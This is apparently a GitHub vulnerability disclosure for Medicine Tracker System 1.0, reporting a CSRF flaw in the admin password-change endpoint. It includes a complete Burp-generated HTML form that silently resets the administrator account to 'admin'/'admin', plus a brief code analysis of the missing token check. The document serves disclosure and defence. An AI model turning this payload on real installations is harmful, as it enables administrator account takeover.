Skip to content

Latest commit

 

History

History
53 lines (36 loc) · 1.78 KB

CSRF2.md

File metadata and controls

53 lines (36 loc) · 1.78 KB
Raw

Affected version:

Medicine Tracker System - 1.0

Vendor:

https://www.sourcecodester.com/users/tips23

Software:

https://www.sourcecodester.com/php/16308/medicine-tracker-system-php-oop-and-mysql-db-source-code-free-download.html

Vulnerability File:

/php-mts/classes/Users.php?f=save_user

Description:

Medicine Tracker System has a CSRF vulnerability when changing the password. An attacker can trick the administrator into changing the administrator login password, causing system information to be leaked. Status: CRITICAL

POC Create CSRF POC by changing the password

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/php-mts/classes/Users.php?f=save_user" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="id" value="1" />
      <input type="hidden" name="firstname" value="123" />
      <input type="hidden" name="middlename" value="123" />
      <input type="hidden" name="lastname" value="123" />
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="password" value="admin" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
image

Administrator clicks to change password successfully image

code analysis

The password is changed here without verifying the original password or adding a random verification code, causing CSRF. image